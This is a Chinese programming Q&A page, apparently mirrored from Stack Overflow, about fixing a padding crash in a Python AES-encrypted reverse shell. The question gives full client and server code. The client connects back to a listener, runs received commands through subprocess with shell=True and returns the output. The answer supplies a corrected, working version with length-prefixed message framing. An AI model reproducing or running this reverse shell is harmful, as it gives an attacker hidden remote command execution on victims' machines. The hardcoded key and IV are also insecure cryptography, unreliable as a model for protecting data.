Python Cryptome AESCBC/子流程大型命令输出问题

2024-05-18 10:09:26 发布

您现在位置:Python中文网/ 问答频道 /正文

我有以下python3中的简单客户机/服务器反向shell代码

它可以很好地连接,任何输出很小的命令都可以很好地工作。诸如“whoami”和列出包含一个或两个文件的目录内容的命令。问题似乎在于任何给出大输出的命令(例如列出大目录中的所有文件)或“ipconfig/all”命令。这将导致程序崩溃,出现“ValueError:填充不正确”

我相信这很简单,但我对这一点很陌生,我不确定。多谢各位

client.py

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import socket
import subprocess
key = b"H" * 32
IV = b"H" * 16

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():
    s = socket.socket()
    s.connect(('192.168.0.2', 8080))
    while True:
        command = decrypt(s.recv(1024))
        if 'leave' in command.decode():
             break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE,           stdin=subprocess.PIPE, stdout=subprocess.PIPE)
            s.send(encrypt(CMD.stdout.read()))
    

def main():
    connect()
main()

server.py

import socket

from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding

IV = b"H" * 16
key = b"H" * 32

def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message

def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

def connect():

    s = socket.socket()
    s.bind(('192.168.0.2', 8080))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            conn.send(encrypt(b'leave'))
            conn.close()
            break
        else:
            command = encrypt(command.encode())
            conn.send(command)
            print(decrypt(conn.recv(1024)).decode())
def main():
    connect()

main()

Tags: keyimportmessagedefconnectsocketcommandencrypt
1条回答
网友
1楼 · 发布于 2024-05-18 10:09:26
    print(decrypt(conn.recv(1024)).decode())

问题是conn.recv(1024)最多只能读取1024个字节,而较大命令的输出可能超过1024个字节,导致接收到不完整的密文

请注意,一次读取也可以减少字节数,因此我们不知道需要读取多少字节,因为TCP是一种流协议

一个简单的解决方法是在每条消息前面加上密文长度。使用4字节(32位)作为最大密码文本端,消息如下所示:

[p1,p2,p3,p4][c1,c2,c3...]其中p1..p4是4个前缀字节c1... cn是密文字节

现在,当我们开始读取一条消息时,我们首先读取4个字节,将它们解释为一个整数,得到了下面密码文本的大小

示例实现:

client.py

import socket
import subprocess

from protocol import read_msg, write_msg


def connect():
    s = socket.socket()
    s.connect(('localhost', 4040))
    while True:
        command = read_msg(s)
        print("command %s" % command)
        if 'leave' in command.decode():
            break
        else:
            CMD = subprocess.Popen(command.decode(), shell=True, stderr=subprocess.PIPE, stdin=subprocess.PIPE,
                                   stdout=subprocess.PIPE)
            write_msg(s, CMD.stdout.read())


def main():
    connect()

main()

加密

from Crypto.Util import Padding
from Crypto.Cipher import AES

key = b"H" * 32
IV = b"H" * 16


def encrypt(message):
    encryptor = AES.new(key, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message


def decrypt(cipher):
    decryptor = AES.new(key, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(cipher)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message

protocol.py

from crypto import encrypt, decrypt


def read_msg(s):
    max_buffer_size = 1024

    length_buffer = b""
    while True:
        if len(length_buffer) == 4:
            break
        b = s.recv(1)
        length_buffer += b
    message_length = int.from_bytes(length_buffer, "big")
    message_buffer = b""

    read_size = min(message_length, max_buffer_size)

    to_read = message_length
    while to_read != 0:
        read = s.recv(read_size)
        message_buffer += read
        to_read -= len(read)

    return decrypt(message_buffer)


def write_msg(s, message):
    encrypted_message = encrypt(message)
    message_length = len(encrypted_message)
    message_length_raw = message_length.to_bytes(4, "big")
    s.send(message_length_raw + encrypt(message))

server.py

import socket

from protocol import write_msg, read_msg


def connect():

    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('localhost', 4040))
    s.listen(1)
    conn, address = s.accept()
    print('Connected')
    while True:

        command = input("Shell> ")
        if 'leave' in command:
            write_msg(conn, b'leave')
            conn.close()
            break
        else:
            write_msg(conn, command.encode())
            print(read_msg(conn).decode())
def main():
    connect()

main()

相关问题 更多 >